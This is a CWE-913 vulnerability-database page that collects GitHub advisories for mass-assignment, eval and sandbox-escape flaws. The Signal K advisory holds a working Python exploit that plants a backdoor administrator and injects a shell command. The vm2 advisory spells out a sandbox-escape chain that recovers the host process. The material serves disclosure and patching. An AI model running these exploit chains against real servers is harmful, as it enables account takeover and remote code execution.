CWE-913
Allowed-with-ReviewImproper Control of Dynamically-Managed Code Resources
Abstraction: Class · Status: Incomplete
The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.
195 vulnerabilities reference this CWE, most recent first.
GHSA-VFJH-QWJ2-3CV9
Vulnerability from github – Published: 2026-10-05 03:30 – Updated: 2026-10-05 03:30A vulnerability was determined in Jeebase 0.0.1. This vulnerability affects the function updateUser of the file /user/update/info of the component UserService. Executing a manipulation of the argument user/tempUser can lead to dynamically-determined object attributes. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-105180"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-05T02:16:50Z",
"severity": "LOW"
},
"details": "A vulnerability was determined in Jeebase 0.0.1. This vulnerability affects the function updateUser of the file /user/update/info of the component UserService. Executing a manipulation of the argument user/tempUser can lead to dynamically-determined object attributes. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-vfjh-qwj2-3cv9",
"modified": "2026-10-05T03:30:25Z",
"published": "2026-10-05T03:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105180"
},
{
"type": "WEB",
"url": "https://github.com/wmz1930/Jeebase/issues/88"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-105180"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/971178"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/413417"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/413417/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VWP7-R9VQ-P5WQ
Vulnerability from github – Published: 2026-04-01 03:31 – Updated: 2026-04-01 03:31A vulnerability was identified in z-9527 admin 1.0/2.0. This impacts an unknown function of the file /server/routes/user.js of the component User Update Endpoint. Such manipulation of the argument isAdmin with the input 1 leads to dynamically-determined object attributes. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-5251"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-01T03:15:59Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in z-9527 admin 1.0/2.0. This impacts an unknown function of the file /server/routes/user.js of the component User Update Endpoint. Such manipulation of the argument isAdmin with the input 1 leads to dynamically-determined object attributes. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-vwp7-r9vq-p5wq",
"modified": "2026-04-01T03:31:40Z",
"published": "2026-04-01T03:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5251"
},
{
"type": "WEB",
"url": "https://github.com/CC-T-454455/Vulnerabilities/tree/master/z9527-admin/vulnerability-11"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/780607"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/354441"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/354441/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VXCJ-VV77-FR73
Vulnerability from github – Published: 2026-09-02 03:31 – Updated: 2026-09-02 03:31A security vulnerability has been detected in gouguoa up to 5.10.0/6.0.1. This vulnerability affects the function update of the file app/home/controller/Index.php of the component edit_personal Endpoint. Such manipulation of the argument position_id leads to dynamically-determined object attributes. The attack can be executed remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 6.0.3 is able to resolve this issue. Upgrading the affected component is advised.
{
"affected": [],
"aliases": [
"CVE-2026-84430"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-02T01:17:24Z",
"severity": "LOW"
},
"details": "A security vulnerability has been detected in gouguoa up to 5.10.0/6.0.1. This vulnerability affects the function update of the file app/home/controller/Index.php of the component edit_personal Endpoint. Such manipulation of the argument position_id leads to dynamically-determined object attributes. The attack can be executed remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 6.0.3 is able to resolve this issue. Upgrading the affected component is advised.",
"id": "GHSA-vxcj-vv77-fr73",
"modified": "2026-09-02T03:31:11Z",
"published": "2026-09-02T03:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84430"
},
{
"type": "WEB",
"url": "https://gitee.com/gouguopen/office/releases/tag/v6.0.3"
},
{
"type": "WEB",
"url": "https://github.com/Angoddess/CVE/blob/main/README.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-84430"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/884061"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/397797"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/397797/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W3X5-7C4C-66P9
Vulnerability from github – Published: 2026-01-02 15:11 – Updated: 2026-01-02 15:11Summary
An unauthenticated attacker can pollute the internal state (restoreFilePath) of the server via the /skServer/validateBackup endpoint. This allows the attacker to hijack the administrator's "Restore" functionality to overwrite critical server configuration files (e.g., security.json, package.json), leading to account takeover and Remote Code Execution (RCE).
Details
The vulnerability is caused by the use of a module-level global variable restoreFilePath in src/serverroutes.ts, which is shared across all requests.
Vulnerable Code Analysis:
1. Global State: restoreFilePath is defined at the top level of the module.
typescript
// src/serverroutes.ts
let restoreFilePath: string
2. Unauthenticated State Pollution: The /skServer/validateBackup endpoint updates this variable. Crucially, this endpoint lacks authentication middleware, allowing any user to access it.
typescript
app.post(`${SERVERROUTESPREFIX}/validateBackup`, (req, res) => {
// ... handles file upload ...
restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path
})
3. Restore Hijacking: The /skServer/restore endpoint uses the polluted restoreFilePath to perform the restoration.
typescript
app.post(`${SERVERROUTESPREFIX}/restore`, (req, res) => {
// ...
const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path
// ...
})
Exploit Chain:
1. Pollution: Attacker uploads a malicious zip file to /validateBackup. The server saves it and updates restoreFilePath to point to this malicious file.
2. Hijacking: When /restore is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files.
3. Backdoor: The attacker overwrites security.json to add a new administrator account.
4. RCE: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (/skServer/appstore/install/...) to execute arbitrary system commands (e.g., npm install injection).
PoC
Here is a complete Python script to reproduce the full exploit chain.
import requests
import zipfile
import io
import json
import time
# Configuration
TARGET_URL = "http://localhost:3000"
BACKDOOR_USER = "hacker"
BACKDOOR_PASS = "hacked1234"
def step1_plant_backdoor():
print("[*] Step 1: Planting Backdoor via State Pollution...")
# 1. Create malicious zip with security.json
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as z:
# Add backdoor admin user
security_config = {
"users": [{
"username": BACKDOOR_USER,
"password": BACKDOOR_PASS,
"permissions": "admin"
}]
}
z.writestr("security.json", json.dumps(security_config))
# Enable security to make the backdoor effective
z.writestr("settings.json", json.dumps({"security": {"strategy": "./tokensecurity"}}))
zip_buffer.seek(0)
# 2. Pollute State (Unauthenticated)
print(" [+] Sending malicious backup to /validateBackup...")
res = requests.post(f"{TARGET_URL}/skServer/validateBackup",
files={'file': ('malicious.zip', zip_buffer, 'application/zip')})
if res.status_code != 200:
print(" [-] Failed to pollute state.")
return False
# 3. Trigger Restore (Hijacking)
print(" [+] Triggering restore to overwrite server config...")
# Note: In a real attack, if /restore is protected, attacker waits for admin to use it.
# Here we assume we can trigger it or security is currently off.
res = requests.post(f"{TARGET_URL}/skServer/restore", json={"security.json": True, "settings.json": True})
if res.status_code in [200, 202]:
print(" [+] Restore triggered successfully. Backdoor planted.")
print(" [!] PLEASE RESTART THE SERVER to load the new configuration.")
return True
else:
print(f" [-] Restore failed: {res.status_code} {res.text}")
return False
def step2_execute_rce():
print("\n[*] Step 2: Executing RCE as Backdoor User...")
# 1. Login
session = requests.Session()
login_payload = {"username": BACKDOOR_USER, "password": BACKDOOR_PASS}
res = session.post(f"{TARGET_URL}/signalk/v1/auth/login", json=login_payload)
if res.status_code != 200:
print(" [-] Login failed. Did you restart the server?")
return
token = res.json()['token']
print(" [+] Login successful. Authenticated as Admin.")
# 2. RCE Payload (Windows Example)
# Injecting command into version parameter of npm install
# Command: echo RCE_SUCCESS > rce_proof.txt
cmd_payload = "1.0.0 & echo RCE_SUCCESS > rce_proof.txt &"
# We need a valid package name to bypass existence check
package_name = "@signalk/freeboard-sk"
print(f" [+] Sending RCE payload: {cmd_payload}")
headers = {'Authorization': f'Bearer {token}'}
try:
session.post(f"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}",
headers=headers, timeout=5)
except:
pass # Timeout is expected as the command might hang or take time
print(" [+] Payload sent. Check for 'rce_proof.txt' in server root.")
if __name__ == "__main__":
# Run Step 1, then restart server manually, then Run Step 2
# step1_plant_backdoor()
step2_execute_rce()
Impact
Remote Code Execution (RCE), Account Takeover, Denial of Service.
Verified: RCE is demonstrated by creating a file named rce_proof.txt containing the text "RCE_SUCCESS" on the server filesystem using the exploit chain.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "signalk-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.19.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66398"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-02T15:11:49Z",
"nvd_published_at": "2026-01-01T18:15:40Z",
"severity": "CRITICAL"
},
"details": "### Summary\nAn unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator\u0027s \"Restore\" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE).\n\n### Details\nThe vulnerability is caused by the use of a module-level global variable `restoreFilePath` in `src/serverroutes.ts`, which is shared across all requests.\n\n**Vulnerable Code Analysis:**\n1. **Global State**: `restoreFilePath` is defined at the top level of the module.\n ```typescript\n // src/serverroutes.ts\n let restoreFilePath: string\n ```\n2. **Unauthenticated State Pollution**: The `/skServer/validateBackup` endpoint updates this variable. Crucially, this endpoint **lacks authentication middleware**, allowing any user to access it.\n ```typescript\n app.post(`${SERVERROUTESPREFIX}/validateBackup`, (req, res) =\u003e {\n // ... handles file upload ...\n restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path\n })\n ```\n3. **Restore Hijacking**: The `/skServer/restore` endpoint uses the polluted `restoreFilePath` to perform the restoration.\n ```typescript\n app.post(`${SERVERROUTESPREFIX}/restore`, (req, res) =\u003e {\n // ...\n const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path\n // ...\n })\n ```\n\n**Exploit Chain:**\n1. **Pollution**: Attacker uploads a malicious zip file to `/validateBackup`. The server saves it and updates `restoreFilePath` to point to this malicious file.\n2. **Hijacking**: When `/restore` is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker\u0027s malicious files.\n3. **Backdoor**: The attacker overwrites `security.json` to add a new administrator account.\n4. **RCE**: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (`/skServer/appstore/install/...`) to execute arbitrary system commands (e.g., `npm install` injection).\n\n### PoC\nHere is a complete Python script to reproduce the full exploit chain.\n\n```python\nimport requests\nimport zipfile\nimport io\nimport json\nimport time\n\n# Configuration\nTARGET_URL = \"http://localhost:3000\"\nBACKDOOR_USER = \"hacker\"\nBACKDOOR_PASS = \"hacked1234\"\n\ndef step1_plant_backdoor():\n print(\"[*] Step 1: Planting Backdoor via State Pollution...\")\n \n # 1. Create malicious zip with security.json\n zip_buffer = io.BytesIO()\n with zipfile.ZipFile(zip_buffer, \u0027w\u0027) as z:\n # Add backdoor admin user\n security_config = {\n \"users\": [{\n \"username\": BACKDOOR_USER,\n \"password\": BACKDOOR_PASS, \n \"permissions\": \"admin\"\n }]\n }\n z.writestr(\"security.json\", json.dumps(security_config))\n # Enable security to make the backdoor effective\n z.writestr(\"settings.json\", json.dumps({\"security\": {\"strategy\": \"./tokensecurity\"}}))\n zip_buffer.seek(0)\n\n # 2. Pollute State (Unauthenticated)\n print(\" [+] Sending malicious backup to /validateBackup...\")\n res = requests.post(f\"{TARGET_URL}/skServer/validateBackup\", \n files={\u0027file\u0027: (\u0027malicious.zip\u0027, zip_buffer, \u0027application/zip\u0027)})\n if res.status_code != 200:\n print(\" [-] Failed to pollute state.\")\n return False\n\n # 3. Trigger Restore (Hijacking)\n print(\" [+] Triggering restore to overwrite server config...\")\n # Note: In a real attack, if /restore is protected, attacker waits for admin to use it.\n # Here we assume we can trigger it or security is currently off.\n res = requests.post(f\"{TARGET_URL}/skServer/restore\", json={\"security.json\": True, \"settings.json\": True})\n \n if res.status_code in [200, 202]:\n print(\" [+] Restore triggered successfully. Backdoor planted.\")\n print(\" [!] PLEASE RESTART THE SERVER to load the new configuration.\")\n return True\n else:\n print(f\" [-] Restore failed: {res.status_code} {res.text}\")\n return False\n\ndef step2_execute_rce():\n print(\"\\n[*] Step 2: Executing RCE as Backdoor User...\")\n \n # 1. Login\n session = requests.Session()\n login_payload = {\"username\": BACKDOOR_USER, \"password\": BACKDOOR_PASS}\n res = session.post(f\"{TARGET_URL}/signalk/v1/auth/login\", json=login_payload)\n \n if res.status_code != 200:\n print(\" [-] Login failed. Did you restart the server?\")\n return\n \n token = res.json()[\u0027token\u0027]\n print(\" [+] Login successful. Authenticated as Admin.\")\n\n # 2. RCE Payload (Windows Example)\n # Injecting command into version parameter of npm install\n # Command: echo RCE_SUCCESS \u003e rce_proof.txt\n cmd_payload = \"1.0.0 \u0026 echo RCE_SUCCESS \u003e rce_proof.txt \u0026\"\n \n # We need a valid package name to bypass existence check\n package_name = \"@signalk/freeboard-sk\" \n \n print(f\" [+] Sending RCE payload: {cmd_payload}\")\n headers = {\u0027Authorization\u0027: f\u0027Bearer {token}\u0027}\n try:\n session.post(f\"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}\", \n headers=headers, timeout=5)\n except:\n pass # Timeout is expected as the command might hang or take time\n\n print(\" [+] Payload sent. Check for \u0027rce_proof.txt\u0027 in server root.\")\n\nif __name__ == \"__main__\":\n # Run Step 1, then restart server manually, then Run Step 2\n # step1_plant_backdoor()\n step2_execute_rce()\n```\n\n### Impact\nRemote Code Execution (RCE), Account Takeover, Denial of Service.\n**Verified**: RCE is demonstrated by creating a file named `rce_proof.txt` containing the text \"RCE_SUCCESS\" on the server filesystem using the exploit chain.",
"id": "GHSA-w3x5-7c4c-66p9",
"modified": "2026-01-02T15:11:50Z",
"published": "2026-01-02T15:11:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-w3x5-7c4c-66p9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66398"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/commit/5c211eaf33f0ccadbaed6720264780d92afbd7f8"
},
{
"type": "PACKAGE",
"url": "https://github.com/SignalK/signalk-server"
},
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)"
}
GHSA-W8H4-VW8F-RVVJ
Vulnerability from github – Published: 2021-04-13 15:30 – Updated: 2023-09-12 19:22scripts/cli.js in the GoDaddy node-config-shield (aka Config Shield) package before 0.2.2 for Node.js calls eval when processing a set command. NOTE: the vendor reportedly states that this is not a vulnerability. The set command was not intended for use with untrusted data.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "config-shield"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-26276"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-05T22:44:52Z",
"nvd_published_at": "2021-01-27T20:15:00Z",
"severity": "MODERATE"
},
"details": "scripts/cli.js in the GoDaddy node-config-shield (aka Config Shield) package before 0.2.2 for Node.js calls eval when processing a set command. **NOTE:** the vendor reportedly states that this is not a vulnerability. The set command was not intended for use with untrusted data.",
"id": "GHSA-w8h4-vw8f-rvvj",
"modified": "2023-09-12T19:22:22Z",
"published": "2021-04-13T15:30:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26276"
},
{
"type": "WEB",
"url": "https://github.com/godaddy/node-config-shield/commit/cdba5d3a7accd661ffbc52e208153464bd0d9da6"
},
{
"type": "WEB",
"url": "https://advisory.checkmarx.net/advisory/CX-2021-4773"
},
{
"type": "PACKAGE",
"url": "https://github.com/godaddy/node-config-shield"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper Control of Dynamically-Managed Code Resources in config-shield"
}
GHSA-WJWH-QQVP-G4P4
Vulnerability from github – Published: 2026-10-05 22:34 – Updated: 2026-10-05 22:34Summary
There is a sandbox escape in vm2 3.11.5 / current HEAD when it is used on Node.js 26. The issue is reachable from a default new VM() sandbox. No NodeVM, require permission, host object injection, or intentionally unsafe configuration is required.
The escape is a patch-bypass of the same security invariant addressed by GHSA-6j2x-vhqr-qr7q. The earlier fix removed the JSPI entry points WebAssembly.promising and WebAssembly.Suspending, because those APIs exposed a Promise path whose host-realm Promise.prototype was not intercepted by vm2's Promise hardening or bridge layer.
The same unsafe class remains reachable through WebAssembly.compileStreaming and WebAssembly.instantiateStreaming. On Node 26, these streaming APIs can produce a raw host-realm Promise path that rejects with a host-realm error. By controlling Symbol.species through Promise.prototype.finally, sandbox code can receive that raw host error object, walk from the host error constructor to the host Function constructor, and recover the real host process object.
The proof of concept demonstrates this by first showing that direct access to process, require, and constructor-based escapes are blocked in the same default VM. It then reaches the host process, verifies that the recovered pid matches the parent Node process, and writes a harmless marker file through host fs.
Impact
This is a sandbox escape. In applications that expose vm2 execution to attacker-controlled JavaScript, the issue can become host code execution in the context of the Node.js process running the sandbox.
This is not remote code execution by default. The remote aspect depends on the embedding application. The accurate framing is:
An attacker who can supply JavaScript to a vm2
VMsandbox on Node 26 can break out of the vm2 boundary and obtain host Node.js capabilities.
This matters for services that use vm2 as a security boundary for untrusted JavaScript, including plugin runners, workflow engines, automation platforms, online code runners, browser-automation sandboxes, and AI-agent or user-script execution environments.
The PoC only writes a marker file under the OS temporary directory. That marker is intentionally harmless. The security impact is not the marker itself; the security impact is that sandbox-controlled code obtains the real host process and host modules after the control case proves those capabilities are normally blocked.
Tested versions and configuration
Tested vm2 3.11.5 at commit 7a1f5100b96f48d34e0fe104ab37c0acc5944f92.
The escape reproduced on Node.js 26.2.0. I also tested the same PoC on Node.js 20.20.2, 22.22.3, and 24.15.0; those versions did not recover the host process through this path.
The test case uses the default VM boundary only:
const { VM } = require('./lib/main');
const vm = new VM({ timeout: 8000 });
vm.run(attackerControlledJavaScript);
No NodeVM was used. The sandbox was not given require, process, fs, child_process, host callbacks, or host objects. The PoC only controls the JavaScript string passed to vm.run().
The version dependency appears to be in the final delivery step: on Node 26 the host-realm rejection from WebAssembly.compileStreaming reaches the attacker-controlled finally/Symbol.species capability, while the same path did not become exploitable in my Node 20/22/24 tests. I would still treat the fix as version-independent: sandbox code should not be able to receive this raw host-Promise path from the WebAssembly streaming APIs at all.
Root cause
The security boundary relies on vm2 keeping Promise objects that are reachable from sandbox code in one of two safe shapes:
- Sandbox-realm Promise. The Promise uses the sandbox's Promise prototype chain, so vm2's Promise hardening can pin species and sanitize callbacks.
- Bridge-proxied host Promise. The Promise is a host object crossing through vm2's membrane, so bridge traps and callback sanitizers apply.
WebAssembly.compileStreaming and WebAssembly.instantiateStreaming introduce a third shape: a raw host-realm Promise path that is directly reachable from sandbox code and is not bridge-proxied. This is the same class of object that made the JSPI issue dangerous.
The exploitability depends on two facts being true at the same time:
- the streaming WebAssembly API returns a Promise path whose relevant Promise machinery is host-realm rather than sandbox-realm; and
- the rejection generated by passing an invalid streaming source is a host-realm
TypeErrorfrom Node's WebAssembly streaming implementation.
Once that host error is delivered to attacker-controlled code, the usual host-realm constructor walk becomes possible:
hostError.constructor.constructor('return process')()
That expression resolves through the host Function constructor, not the sandbox one, because the error object is host-realm.
Exploit flow
The exploit flow is small, but the realm boundary is the important part:
- Sandbox code calls
WebAssembly.compileStreaming(0). - The argument is not a valid
Responseor Promise resolving to aResponse, so the returned Promise rejects. - On Node 26, the rejection value is a host-realm error object.
- The attacker installs a controlled
constructoraccessor on the returned Promise and provides a customSymbol.speciesconstructor. - Calling
p.finally(() => {})reaches the species path used byPromise.prototype.finally. NewPromiseCapability(F)invokes the attacker-controlled constructorFand exposes the result capability functions.- When the Promise rejects, the host-realm error is delivered to the attacker-controlled rejection path.
- The attacker uses the host error's constructor chain to recover host
process. - The PoC loads host
fsthroughprocess.mainModule.require('fs')and writes a harmless marker file.
Promise.prototype.finally is important because it is the remaining species-sensitive Promise combinator that is not pinned the same way as vm2's hardened then, catch, and static Promise helpers. However, simply wrapping the sandbox's Promise.prototype.finally is not sufficient for this bug: the dangerous Promise path is raw host-side Promise machinery, so the sandbox's own finally wrapper is not the method that protects this call. The dangerous source needs to be removed or safely wrapped.
Relationship to GHSA-6j2x-vhqr-qr7q
This is not the original JSPI path. Current HEAD removes WebAssembly.promising and WebAssembly.Suspending, and the old PoC is blocked.
The bypass here reaches the same unsafe Promise shape through a different source: WebAssembly.compileStreaming / WebAssembly.instantiateStreaming. That is why I am reporting it as an incomplete fix for the GHSA-6j2x class rather than as a duplicate of the already-fixed JSPI issue.
Proof of concept
The PoC is provided separately as:
The PoC uses a default new VM() with no privileged objects exposed; the marker file is only a harmless proof that the sandboxed code recovered host-side capability.
The PoC performs four control checks first:
process access: blocked
require access: blocked
constructor process access: blocked
constructor require(fs): blocked
Then it runs the exploit path and verifies that the recovered process is the actual host process by comparing the recovered pid with the parent process pid.
Expected vulnerable output on Node 26.2.0:
[control] process access : blocked
[control] require access : blocked
[control] constructor process access : blocked
[control] constructor require(fs) : blocked
[exploit] host process reached : yes
[exploit] host pid : <pid>
[exploit] host pid matches parent pid: yes
[exploit] host execPath : <node executable>
[exploit] host version : v26.2.0
[exploit] marker file : created
[result] VULNERABLE
Expected output on Node 24.15.0:
[control] process access : blocked
[control] require access : blocked
[control] constructor process access : blocked
[control] constructor require(fs) : blocked
[exploit] host process reached : no
[exploit] marker file : not created
[result] not reproduced on this Node version
The marker file contains only a proof string, the Node version, the pid, and a timestamp.
As a sanity check, I reproduced the Node 26 result from a fresh public clone at commit 7a1f5100b96f48d34e0fe104ab37c0acc5944f92; lib/ was unmodified, and only the PoC file was copied in.
Suggested fix
The minimal fix is to remove the remaining streaming WebAssembly APIs from the sandbox in the same WebAssembly hardening block that already removes the JSPI APIs.
if (typeof WebAssembly.compileStreaming !== 'undefined') {
localReflectDeleteProperty(WebAssembly, 'compileStreaming');
}
if (typeof WebAssembly.instantiateStreaming !== 'undefined') {
localReflectDeleteProperty(WebAssembly, 'instantiateStreaming');
}
This patch works against the PoC on Node 26.2.0 and Node 24.15.0. With the patch applied, the streaming APIs are unavailable inside the sandbox, the PoC does not recover the host process, and the marker file is not written.
Two additional defense-in-depth change recommendations:
- Add a
Promise.prototype.finallyhardening path for consistency with the existing Promise hardening. This is not sufficient by itself for this bug, but it removes a known species-sensitive gap for sandbox-realm Promises. - Add a regression/invariant test that checks sandbox-reachable Promise-producing intrinsics do not expose raw host-Promise paths outside the bridge.
The non-streaming WebAssembly Promise APIs was also checked. The end-to-end escape reproduced through compileStreaming and instantiateStreaming, but not through compile or instantiate in my tests. The minimal patch therefore removes the two confirmed exploitable streaming APIs, while the broader invariant remains that sandbox code should not receive raw host-Promise paths.
Regression tests
The regression test should cover both the direct fix and the end-to-end invariant:
WebAssembly.compileStreamingis unavailable or safely wrapped insidenew VM().WebAssembly.instantiateStreamingis unavailable or safely wrapped insidenew VM().- The PoC cannot recover host
processon Node 26. - Direct access to
process,require, and constructor-based process access remains blocked. - The
finally+ species primitive does not reach hostprocessthrough any WebAssembly Promise-returning source.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.6"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "3.10.1"
},
{
"fixed": "3.11.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-92956"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T22:34:22Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThere is a sandbox escape in vm2 `3.11.5` / current HEAD when it is used on Node.js 26. The issue is reachable from a default `new VM()` sandbox. No `NodeVM`, `require` permission, host object injection, or intentionally unsafe configuration is required.\n\nThe escape is a patch-bypass of the same security invariant addressed by GHSA-6j2x-vhqr-qr7q. The earlier fix removed the JSPI entry points `WebAssembly.promising` and `WebAssembly.Suspending`, because those APIs exposed a Promise path whose host-realm `Promise.prototype` was not intercepted by vm2\u0027s Promise hardening or bridge layer.\n\nThe same unsafe class remains reachable through `WebAssembly.compileStreaming` and `WebAssembly.instantiateStreaming`. On Node 26, these streaming APIs can produce a raw host-realm Promise path that rejects with a host-realm error. By controlling `Symbol.species` through `Promise.prototype.finally`, sandbox code can receive that raw host error object, walk from the host error constructor to the host `Function` constructor, and recover the real host `process` object.\n\nThe proof of concept demonstrates this by first showing that direct access to `process`, `require`, and constructor-based escapes are blocked in the same default VM. It then reaches the host `process`, verifies that the recovered pid matches the parent Node process, and writes a harmless marker file through host `fs`.\n\n\n\n## Impact\n\nThis is a sandbox escape. In applications that expose vm2 execution to attacker-controlled JavaScript, the issue can become host code execution in the context of the Node.js process running the sandbox.\n\nThis is not remote code execution by default. The remote aspect depends on the embedding application. The accurate framing is:\n\n\u003e An attacker who can supply JavaScript to a vm2 `VM` sandbox on Node 26 can break out of the vm2 boundary and obtain host Node.js capabilities.\n\nThis matters for services that use vm2 as a security boundary for untrusted JavaScript, including plugin runners, workflow engines, automation platforms, online code runners, browser-automation sandboxes, and AI-agent or user-script execution environments.\n\nThe PoC only writes a marker file under the OS temporary directory. That marker is intentionally harmless. The security impact is not the marker itself; the security impact is that sandbox-controlled code obtains the real host `process` and host modules after the control case proves those capabilities are normally blocked.\n\n\n\n## Tested versions and configuration\n\nTested vm2 `3.11.5` at commit `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`.\n\nThe escape reproduced on Node.js `26.2.0`. I also tested the same PoC on Node.js `20.20.2`, `22.22.3`, and `24.15.0`; those versions did not recover the host process through this path.\n\nThe test case uses the default `VM` boundary only:\n\n```js\nconst { VM } = require(\u0027./lib/main\u0027);\nconst vm = new VM({ timeout: 8000 });\n\nvm.run(attackerControlledJavaScript);\n```\n\nNo `NodeVM` was used. The sandbox was not given `require`, `process`, `fs`, `child_process`, host callbacks, or host objects. The PoC only controls the JavaScript string passed to `vm.run()`.\n\nThe version dependency appears to be in the final delivery step: on Node 26 the host-realm rejection from `WebAssembly.compileStreaming` reaches the attacker-controlled `finally`/`Symbol.species` capability, while the same path did not become exploitable in my Node 20/22/24 tests. I would still treat the fix as version-independent: sandbox code should not be able to receive this raw 